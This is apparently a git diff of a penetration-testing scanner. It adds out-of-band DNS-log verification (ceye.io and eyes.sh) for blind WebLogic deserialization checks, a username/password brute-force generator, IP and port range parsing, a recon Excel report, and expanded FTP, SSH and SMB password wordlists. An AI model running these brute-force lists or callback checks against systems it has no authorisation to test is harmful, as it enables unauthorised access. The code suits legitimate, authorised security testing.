100644 --- a/core/utils/differ.py +++ b/core/utils/differ.py @@ -39,7 +39,7 @@ def getCompareAfterIndex(maxLen, matchA, matchB): # [i for i in reversed(range(maxLen)) if matchA[i] != matchB[i]][0] @staticmethod - def getCloseMatchIndex(word, possibilities, n=1000, cutoff=0.8): + def get_close_match_index(word, possibilities, n=1000, cutoff=0.8): # 改成get_close_matches取下标索引的 if not n > 0: raise ValueError("n must be > 0: %r" % (n,)) @@ -48,11 +48,8 @@ def getCloseMatchIndex(word, possibilities, n=1000, cutoff=0.8): result = [] s = SequenceMatcher() s.set_seq2(word) - dcPossibilities = copy.deepcopy(possibilities) - for idx, x in enumerate(dcPossibilities): - # if x == word: - # possibilities.__delitem__(idx) - # continue + dc_possibilities = copy.deepcopy(possibilities) + for idx, x in enumerate(dc_possibilities): s.set_seq1(x) if s.real_quick_ratio() >= cutoff and \ s.quick_ratio() >= cutoff and \ diff --git a/core/utils/dnslog.py b/core/utils/dnslog.py index 3d6b2b4..1530827 100644 --- a/core/utils/dnslog.py +++ b/core/utils/dnslog.py @@ -1,39 +1,115 @@ # coding=utf-8 # @Author : zpchcbd HG team # @Time : 2021-09-06 21:44 +import asyncio import requests -import time +from core.exception.ceye import CeyePrivilegeError, EyesPrivilegeError +from core.data import gLogger +from core.data import config_dict +from aiohttp import ClientSession + +""" +write in 2021.12.06 18.17 @zpchcbd + +写这个原因还是因为weblogic poc的验证,在写weblogic相关的t3反序列化无回显漏洞验证的时候遇到的问题: + +1、我把相关的t3反序列化weblogic调试完了之后,想作为poc写上去发现一个问题就是python无法实现完整的t3反序列化,查阅了相关资料,难度比较大。 +2、于是打包抓包进行传输,发现t3协议回显通用的方法是通过注册RMI实例,这个包通过wireshark完整了,但是后面请求rmi服务的时候这个自己发现无法 +通过抓包发送相同的数据包进行解决了,因为其中分为两个步骤,自己无法实现,最后还是想通过反序列化urlClassLoader进行dns验证吧 +""" class Dnslog(object): - __slots__ = ('token', 'session', 'domain') + def __init__(self): + pass + + def init(self): + pass + + def _get_session(self): + pass + + def get_records(self, type, filter): + pass + + + +class Ceye(Dnslog): + """ + curl http://api.ceye.io/v1/records?token={token}&type={dns|http}&filter={filter} + """ def __init__(self): - self.token = '' - self.session = '' - self.domain = '' + super().__init__() + self.token = config_dict['ceye']['ceye_api'] + self.session = config_dict['ceye']['ceye_identifier'] + self.domain = 'http://api.ceye.io/v1/records?token={token}&type={type}&filter={filter}' self.init() - def _getCookie(self): + def init(self): + self._get_session() + async def _get_session(self): session = requests.session() self.session = session resp = session.get('http://dnslog.cn/getdomain.php?t=0.4503404253301704') self.domain = resp.text - print(self.domain) - time.sleep(5) - - def init(self): - self._getCookie() - def getRecords(self): + def get_records(self, type, filter): resp = self.session.get('http://dnslog.cn/getrecords.php?t=0.7209060121871593') - print("================") - print(resp.text) +def get_ceye_identifier(): + return config_dict['ceye']['ceye_identifier'] + + +async def ceye_dnslog_verify(type, filter_keyword): + token = config_dict['ceye']['ceye_api'] + url = 'http://api.ceye.io/v1/records?token={TOKEN}&type={TYPE}&filter={FILTER}'.format(TOKEN=token, TYPE=type, FILTER=filter_keyword) + try: + async with ClientSession() as session: + async with session.get(url=url, verify_ssl=False) as response: + if response is not None: + await asyncio.sleep(2) + text = await response.text() + if 'Invalid token' in text: + raise CeyePrivilegeError from None + if filter_keyword in text: + return True + else: + return False + except CeyePrivilegeError: + gLogger.myscan_error('please check your dnslog token is Exist.') + return False + except Exception: + return False + + +def get_eyes_identifier(): + return config_dict['eyes']['eyes_identifier'] + + +async def eyes_dnslog_verify(type, filter_keyword): + token = config_dict['eyes']['eyes_api'] + url = 'http://eyes.sh/api/{TYPE}/9999/{FILTER}/?token={TOKEN}'.format(TOKEN=token, TYPE=type, FILTER=filter_keyword) + try: + async with ClientSession() as session: + async with session.get(url=url, verify_ssl=False) as response: + if response is not None: + await asyncio.sleep(2) + text = await response.text() + if 'Invalid token' in text: + raise EyesPrivilegeError from None + if 'True' in text: + return True + else: + return False + except EyesPrivilegeError: + gLogger.myscan_error('please check your dnslog token is Exist.') + return False + except Exception: + return False + if __name__ == '__main__': - dnslog = Dnslog() - dnslog.init() - dnslog.getRecords() + asyncio.get_event_loop().run_until_complete(eyes_dnslog_verify('dns', 'abcdef')) \ No newline at end of file diff --git a/core/utils/informationprovider.py b/core/utils/informationprovider.py new file mode 100644 index 0000000..04c290b --- /dev/null +++ b/core/utils/informationprovider.py @@ -0,0 +1,50 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 20:31 +from core.data import path_dict +import os + + +class InformationProvider(object): + file_type = 'r' + + @staticmethod + def read_file(filename): + filename_path = os.path.join(path_dict.DICT_PATH, filename) + if os.path.isfile(filename_path): + try: + with open(filename_path, InformationProvider.file_type) as f: + return f.readlines() + except FileNotFoundError as e: + print('InformationProvider file not found, {}'.format(e.__str__())) + return None + + @staticmethod + def read_dict_file(filename): + if os.path.isfile(filename): + try: + with open(filename, InformationProvider.file_type) as f: + return f.read() + except FileNotFoundError as e: + print('InformationProvider file not found, {}'.format(e.__str__())) + return None + + @staticmethod + def generate(username_list, password_list): + username_list = list(set(username_list)) + password_list = list(set(password_list)) + for username in username_list: + username = username.replace('\r', '').replace('\n', '').strip().rstrip() + for password in password_list: + if '%user%' not in password: + password = password + else: + password = password.replace("%user%", username) + password = password.replace('\r', '').replace('\n', '').strip().rstrip() + yield username, password + + # 首位大写也爆破下,再看,每次套接字时间花费太多 + # if len(password) > 2: + # password2 = password[0].upper() + password[1:] + # if password2 != password: + # yield username, password2 diff --git a/core/utils/portwrapper.py b/core/utils/portwrapper.py new file mode 100644 index 0000000..6311a04 --- /dev/null +++ b/core/utils/portwrapper.py @@ -0,0 +1,124 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-07 20:54 + +from core.constant import TOP_1000_BANNER_PORT +from socket import inet_ntoa +from struct import pack +import IPy + + +# for port wrapper,用来包装端口的类,默认最低扫描合并TOP100端口加上fofa/quake/shodan,配合异步端口探测 +class PortWrapper(object): + @staticmethod + def generate_format(ips): + # 输入地址段格式 + ip_port_list = [] + try: + if isinstance(ips, list): + for ip in ips: + ip_port_list.append({'ip': ip, 'port': []}) + elif '-' in ips: + # 这种情况就是 192.168.1.1-192.168.1.255 或者 192.168.1.0-192.168.1.255,192.168.3.0-192.168.3.255 + if ',' in ips: + # 192.168.1.0-192.168.1.255,192.168.3.0-192.168.3.255 + ip_segments = ips.split(',') + for ip_segment in ip_segments: + ip_list = IPy.IP(ip_segment) + # print(ipList) + for ip in ip_list: + ip_port_list.append({'ip': ip, 'port': []}) + else: + # 192.168.1.1-192.168.1.255 + # print(ipList) + for ip in IPy.IP(ips): + ip_port_list.append({'ip': ip, 'port': []}) + elif ',' in ips: + if '/' in ips: + # 192.168.1.0/24,192.168.3.0/24 + ip_segments = ips.split(',') + ip_list = [] + for ip_segment in ip_segments: + ip_list.extend(IPy.IP(ip_segment)) + # print(ipList) + for ip in ip_list: + ip_port_list.append({'ip': inet_ntoa(pack("!I", ip.int())), 'port': []}) + else: + # 192.168.1.1,192.168.1.2 + # print(ipList) + for ip in ips.split(','): + ip_port_list.append({'ip': ip, 'port': []}) + else: + if '/' in ips: + # 192.168.1.0/24 + for ip in IPy.IP(ips): + ip_port_list.append({'ip': inet_ntoa(pack("!I", ip.int())), 'port': []}) + else: + # 192.168.1.1 + # print(ips) + ip_port_list.append({'ip': ips, 'port': []}) + # print(ipPortList) + return ip_port_list + except Exception as e: + print('[-] please check your ips format -> {}, error is {}'.format(ips, e.args)) + exit(0) + + @staticmethod + def prase_command(ports): + port_list = [] + try: + # 比如80-9090,70-8080 这种形式的 + if '-' in ports or ',' in ports: + if len(ports.split('-')) > 2 and len(ports.split(',')) >= 2: + port_segments = ports.split(',') + for portSegment in port_segments: + port_start = portSegment.split('-')[0] + port_end = portSegment.split('-')[1] + if int(port_end) > 65535: + print('[-] please check your port format, port not allow big than 65535') + exit(0) + for port in range(int(port_start), int(port_end) + 1): + port_list.append(port) + # 比如80-9090 + elif len(ports.split('-')) == 2 and ',' not in ports: + port_start = ports.split('-')[0] + port_end = ports.split('-')[1] + if int(port_end) > 65535: + print('[-] please check your port format, port not allow big than 65535') + exit(0) + for port in range(int(port_start), int(port_end) + 1): + port_list.append(port) + # 80,90,9090 + elif len(ports.split('-')) == 1 and ',' in ports: + port_list = ports.split(',') + elif ports[0:3] == 'top': + num = int(ports.split('top')[1]) + port_list.extend(TOP_1000_BANNER_PORT[0:num]) + else: + port_list.append(ports) + return port_list + except Exception as e: + print('[-] please check your port format, {}'.format(e.__str__())) + exit(0) + + # generate ports + @staticmethod + def generate_port(ports, ip_port_list): + port_list = PortWrapper.prase_command(ports) + for index, value in enumerate(ip_port_list): + for i in port_list: + if i not in value['port']: + value['port'].append(i) + + +if __name__ == '__main__': + # lit = [{'ip': '202.103.147.144', 'port': [8080, 8090]}, {'ip': '125.19.57.134', 'port': []}, + # {'ip': '58.60.230.103', 'port': [8000, 2000]}, {'ip': '202.103.147.169', 'port': [25]}] + # PortWrapper.generate_port('top100', lit) + # print(lit) + + lit = PortWrapper.generate_format(['192.168.1.2','192.168.1.3']) + print(lit) + print(PortWrapper.generate_port('top100', lit)) + + # print(top_banner_port[0:100]) diff --git a/core/utils/PorxyProvider.py b/core/utils/proxyprovider.py similarity index 96% rename from core/utils/PorxyProvider.py rename to core/utils/proxyprovider.py index 4a6e9ef..56076a4 100644 --- a/core/utils/PorxyProvider.py +++ b/core/utils/proxyprovider.py @@ -6,10 +6,6 @@ import random import aiohttp import asyncio -import sys - -if sys.platform == 'win32': - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) class ProxyProvider(object): diff --git a/common/tools.py b/core/utils/tools.py similarity index 55% rename from common/tools.py rename to core/utils/tools.py index d2f0c2e..9698a3c 100644 --- a/common/tools.py +++ b/core/utils/tools.py @@ -1,67 +1,29 @@ # coding=utf-8 +from string import digits +from core.constant import PORT_RULES import xlsxwriter +import hashlib +import random +import yaml -url_rules = {'.com.cn', '.org.cn', '.net.cn', '.com', '.cn', '.cc', '.net', '.org', '.info', '.fun', '.one', '.xyz', - '.name', '.io', '.top', '.me', '.club', '.tv', '.uk', '.hk'} - -port_rules = { - 'FTP': ['21'], - 'SSH': ['22'], - 'Telnet': ['23'], - 'SMTP': ['25'], - 'DNS': ['53'], - 'DHCP': ['68'], - 'HTTP': ['80', '8080', '81'], - 'TFTP': ['69'], - 'POP3': ['995'], - 'NetBIOS': ['139'], - 'IMAP': ['143'], - 'HTTPS': ['443'], - 'SNMP': ['161'], - 'LDAP': ['489'], - 'SMB': ['445'], - 'SMTPS': ['465'], - 'Linux R RPE': ['512'], - 'Linux R RLT': ['513'], - 'Linux R cmd': ['514'], - 'Rsync': ['873'], - 'IMAPS': ['993'], - 'Proxy': ['1080'], - 'JavaRMI': ['1099'], - 'Lotus': ['1352'], - 'MSSQL': ['1433', '1434'], - 'Oracle': ['1521'], - 'PPTP': ['1723'], - 'cPanel': ['2082'], - 'CPanel': ['2083'], - 'Zookeeper': ['2181'], - 'Docker': ['2375'], - 'Zebra': ['2604'], - 'MySQL': ['3306'], - 'Kangle': ['3312'], - 'RDP': ['3389'], - 'SVN': ['3690'], - 'Rundeck': ['4440'], - 'GlassFish': ['4848'], - 'PostgreSql': ['5432'], - 'PcAnywhere': ['5632'], - 'VNC': ['5900'], - 'CouchDB': ['5984'], - 'varnish': ['6082'], - 'Redis': ['6379'], - 'Weblogic': ['9001'], - 'Kloxo': ['7778'], - 'Zabbix': ['8069', '10050', '10051'], - 'RouterOS': ['8291'], - 'Elasticsearch': ['9200', '9300'], - 'Memcached': ['11211'], - 'MongoDB': ['27017', '28017'], - 'Hadoop': ['50070'] -} - - -def getUrl(domain): + +def save_dict_to_yaml(dict_value: dict, save_path: str): + """dict保存为yaml""" + with open(save_path, 'w') as file: + file.write(yaml.dump(dict_value, allow_unicode=True)) + + +def read_yaml_to_dict(yaml_path: str): + try: + with open(yaml_path, 'rb') as file: + config_dict = yaml.load(file.read(), Loader=yaml.FullLoader) + return config_dict + except Exception as e: + exit(print("[-] read_yaml_to_dict error, the error is {}".format(e.args))) + + +def get_url(domain): if 'http://' in domain or 'https://' in domain: return f'{domain}' else: @@ -85,61 +47,35 @@ def getUrl(domain): # # print(link.split(web_rule)[0] + web_rule) -# 列表中的字典 键值重复清理 -def getUniqueList(L): - (output, temp) = ([], []) - for l in L: - for k, v in l.items(): - flag = False - if (k, v) not in temp: - flag = True - break - if flag: - output.append(l) - temp.extend(l.items()) - return output - - -# ip段识别 -def getIpSegment(ipList: list): - ll = [] - for l in ipList: - l = l.split(".") - l[-1] = "0/24" - joinl = ".".join(l) - if joinl not in ll: - ll.append(joinl) - return ll - - -# 在指定的列表中进行筛选,ip 与 域名 分别放入 两个列表中 -def Common_getTwoUniqueList(L): - pass - # ip - # 域名 - - # 根据port识别服务 -def getPortService(port): - for k, v in port_rules.items(): +def get_port_service(port): + for k, v in PORT_RULES.items(): for b in v: if int(b) == int(port): return k return 'Unknown' +def random_md5(length=16, ret_plain=False): + plain = ''.join([random.choice(digits) for _ in range(length)]) + m = hashlib.md5() + m.update(bytes(plain, 'utf-8')) + cipher = m.hexdigest() if hex else m.hexdigest() + if ret_plain: + return [plain, cipher] + else: + return cipher + + # 创建图表 -def createXlsx(target): +def create_xlsx(target): workbook = xlsxwriter.Workbook(target + ".xlsx") - worksheet1 = workbook.add_worksheet('备案') - headings1 = ['域名', '网站', '备案人', 'ICP备案', '类型', '备案时间'] + headings1 = ['域名', '网站', 'ICP备案', '备案时间'] worksheet1.set_column('A:A', 18) worksheet1.set_column('B:B', 29) - worksheet1.set_column('C:C', 8) - worksheet1.set_column('D:D', 22) - worksheet1.set_column('E:E', 8) - worksheet1.set_column('F:F', 11) + worksheet1.set_column('C:C', 22) + worksheet1.set_column('D:D', 20) worksheet1.write_row('A1', headings1) worksheet2 = workbook.add_worksheet('企业架构') @@ -189,91 +125,83 @@ def createXlsx(target): worksheet8 = workbook.add_worksheet('ip反查子域名') headings8 = ['ip', '域名'] - worksheet8.set_column('A:A', 12) - worksheet8.set_column('B:B', 28) + worksheet8.set_column('A:A', 20) + worksheet8.set_column('B:B', 30) worksheet8.write_row('A1', headings8) - worksheet9 = workbook.add_worksheet('动态参数地址') - headings9 = ['动态地址'] - worksheet9.set_column('A:A', 30) - worksheet9.write_row('A1', headings9) - worksheet10 = workbook.add_worksheet('Fofa') - headings10 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '端口', '服务', '协议', 'asn', '查询语句'] + headings10 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '服务', '协议', 'asn', '查询语句'] worksheet10.set_column('A:A', 12) worksheet10.set_column('B:B', 28) worksheet10.set_column('C:C', 37) worksheet10.set_column('D:D', 22) - worksheet10.set_column('E:E', 17) - worksheet10.set_column('F:F', 8) - worksheet10.set_column('G:G', 25) + worksheet10.set_column('E:E', 20) + worksheet10.set_column('F:F', 25) + worksheet10.set_column('G:G', 8) worksheet10.set_column('H:H', 8) - worksheet10.set_column('I:I', 8) - worksheet10.set_column('J:J', 24) + worksheet10.set_column('I:I', 25) worksheet10.write_row('A1', headings10) worksheet11 = workbook.add_worksheet('Hunter') - headings11 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '端口', '服务', '协议', 'asn', '查询语句'] + headings11 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '服务', '协议', 'asn', '查询语句'] worksheet11.set_column('A:A', 12) worksheet11.set_column('B:B', 28) worksheet11.set_column('C:C', 37) worksheet11.set_column('D:D', 22) - worksheet11.set_column('E:E', 17) - worksheet11.set_column('F:F', 8) - worksheet11.set_column('G:G', 25) + worksheet11.set_column('E:E', 20) + worksheet11.set_column('F:F', 25) + worksheet11.set_column('G:G', 8) worksheet11.set_column('H:H', 8) - worksheet11.set_column('I:I', 8) - worksheet11.set_column('J:J', 24) + worksheet11.set_column('I:I', 25) worksheet11.write_row('A1', headings11) worksheet12 = workbook.add_worksheet('Quake') - headings12 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '端口', '服务', '协议', 'asn', '查询语句'] + headings12 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '服务', '协议', 'asn', '查询语句'] worksheet12.set_column('A:A', 12) worksheet12.set_column('B:B', 28) worksheet12.set_column('C:C', 37) worksheet12.set_column('D:D', 22) - worksheet12.set_column('E:E', 17) - worksheet12.set_column('F:F', 8) - worksheet12.set_column('G:G', 25) + worksheet12.set_column('E:E', 20) + worksheet12.set_column('F:F', 25) + worksheet12.set_column('G:G', 8) worksheet12.set_column('H:H', 8) - worksheet12.set_column('I:I', 8) - worksheet12.set_column('J:J', 24) + worksheet12.set_column('I:I', 25) worksheet12.write_row('A1', headings12) worksheet13 = workbook.add_worksheet('Shodan') - headings13 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '端口', '服务', '协议', 'asn', '查询语句'] + headings13 = ['空间引擎名', 'HOST', '标题', 'ip', '根域名', '服务', '协议', 'asn', '查询语句'] worksheet13.set_column('A:A', 12) worksheet13.set_column('B:B', 28) worksheet13.set_column('C:C', 37) worksheet13.set_column('D:D', 22) - worksheet13.set_column('E:E', 17) - worksheet13.set_column('F:F', 8) - worksheet13.set_column('G:G', 20) + worksheet13.set_column('E:E', 20) + worksheet13.set_column('F:F', 25) + worksheet13.set_column('G:G', 8) worksheet13.set_column('H:H', 8) - worksheet13.set_column('I:I', 24) + worksheet13.set_column('I:I', 25) worksheet13.write_row('A1', headings13) - worksheet14 = workbook.add_worksheet('子域名端口扫描') + worksheet14 = workbook.add_worksheet('端口扫描') headings14 = ['ip', '端口', '服务', '标题', '服务版本信息'] - worksheet14.set_column('A:A', 19) - worksheet14.set_column('B:B', 28) + worksheet14.set_column('A:A', 20) + worksheet14.set_column('B:B', 10) worksheet14.set_column('C:C', 21) - worksheet14.set_column('D:D', 25) - worksheet14.set_column('E:E', 25) + worksheet14.set_column('D:D', 30) + worksheet14.set_column('E:E', 150) worksheet14.write_row('A1', headings14) worksheet15 = workbook.add_worksheet('存活网站标题') headings15 = ['网址', '状态码', '标题', 'X-Powered-By'] worksheet15.set_column('A:A', 51) - worksheet15.set_column('B:B', 10) - worksheet15.set_column('C:C', 28) + worksheet15.set_column('B:B', 7) + worksheet15.set_column('C:C', 50) worksheet15.set_column('D:D', 28) worksheet15.write_row('A1', headings15) worksheet16 = workbook.add_worksheet('漏洞扫描') - headings16 = ['漏洞名', 'url', '状态'] - worksheet16.set_column('A:A', 12) - worksheet16.set_column('B:B', 28) + headings16 = ['漏洞名', 'url', '组件'] + worksheet16.set_column('A:A', 30) + worksheet16.set_column('B:B', 50) worksheet16.set_column('C:C', 28) worksheet16.write_row('A1', headings16) @@ -286,16 +214,16 @@ def createXlsx(target): # 递归获取父域名 -def Common_getTopDomainName(Subdomain, FatherUrl): - temp_url = FatherUrl.split('.', 1)[1] - if Subdomain == temp_url: +def get_top_domain_name(subdomain, fa_url): + temp_url = fa_url.split('.', 1)[1] + if subdomain == temp_url: return temp_url else: - return Common_getTopDomainName(Subdomain, temp_url) + return get_top_domain_name(subdomain, temp_url) # 简单的判断下当 端口为443,80的时候返回的格式为http?s:// + ....,否则其他端口的话每个url都返回两次 -def Common_url_by_port(domain, port): +def get_url_by_port(domain, port): protocols = ['http://', 'https://'] if port == 443: url = f'https://{domain}' diff --git a/dict/information/ftp_passwords.txt b/dict/information/ftp_passwords.txt index 24bedfb..d5ad714 100644 --- a/dict/information/ftp_passwords.txt +++ b/dict/information/ftp_passwords.txt @@ -1,42 +1,30 @@ -12345 %user% %user%123 %user%1234 -%user%123456 %user%12345 +%user%123456 %user%@123 -%user%@123456 %user%@12345 +%user%@123456 %user%#123 -%user%#123456 %user%#12345 -%user%_123 -%user%_123456 -%user%_12345 -%user%123!@# -%user%!@#$ -%user%!@# -%user%~!@ -%user%!@#123 -%user%888 -%user%2017 -%user%2016 -%user%2015 -%user%2018 -%user%2019 +%user%#123456 %user%2020 %user%2021 -%user%@2019 +%user%2022 %user%@2020 %user%@2021 -%user%@2018 -%user%@2017 -%user%@2016 -%user%@2015 +%user%@2022 +123456 +1234567 +12345678 +123456789 +password +Aa@123456 Passw0rd ftppass -123456 password +password123 123 qwerty 1q2w3e4r @@ -44,12 +32,7 @@ qwerty qazwsx 123qwe 123qaz -1234567 123456qwerty -password123 -12345678 1q2w3e abc123 -123456789 -q1w2e3r4 -Aa@123456 \ No newline at end of file +q1w2e3r4 \ No newline at end of file diff --git a/dict/information/smb_passwords.txt b/dict/information/smb_passwords.txt index b5de5df..dd3b40e 100644 --- a/dict/information/smb_passwords.txt +++ b/dict/information/smb_passwords.txt @@ -20,16 +20,18 @@ Passw0rd %user%~!@ %user%!@#123 qweasdzxc -%user%2017 -%user%2016 %user%2015 +%user%2016 +%user%2017 %user%2018 %user%2019 %user%2020 %user%2021 -%user%@2019 -%user%@2020 +%user%2022 +%user%@2022 %user%@2021 +%user%@2020 +%user%@2019 %user%@2018 %user%@2017 %user%@2016 diff --git a/dict/information/ssh_passwords.txt b/dict/information/ssh_passwords.txt index fb1909e..71dbd26 100644 --- a/dict/information/ssh_passwords.txt +++ b/dict/information/ssh_passwords.txt @@ -1,2 +1,42 @@ -Chiling123 -Chiling.123 \ No newline at end of file +%user% +123456 +toor +%user%123 +%user%1234 +%user%123456 +%user%12345 +%user%888 +%user%@123 +%user%@123456 +%user%@12345 +%user%#123 +%user%#123456 +%user%#12345 +%user%123!@# +%user%!@# +%user%!@#123 +%user%2017 +%user%2018 +%user%2019 +%user%2020 +%user%2021 +%user%2022 +%user%@2019 +%user%@2020 +%user%@2021 +%user%@2018 +%user%@2017 +1qazXSW@123 +Passw0rd +password +pass@1234 +Pass@1234 +1q2w3e4r +1qaz2wsx +3edc$RFV +1qaz2wsx3edc +1qaz@WSX +123qwe +123qaz +password123 +12345678 \ No newline at end of file diff --git a/dict/information/ssh_usernames.txt b/dict/information/ssh_usernames.txt index b850dbf..ab9353b 100644 --- a/dict/information/ssh_usernames.txt +++ b/dict/information/ssh_usernames.txt @@ -1,7 +1,2 @@ root -itsm -it -sec -oracle -user -test \ No newline at end of file +oracle \ No newline at end of file diff --git a/dict/information/user_agents.txt b/dict/information/user_agents.txt deleted file mode 100644 index 2cb474b..0000000 --- a/dict/information/user_agents.txt +++ /dev/null @@ -1,2075 +0,0 @@ -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) -Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70 -Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; yie8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; 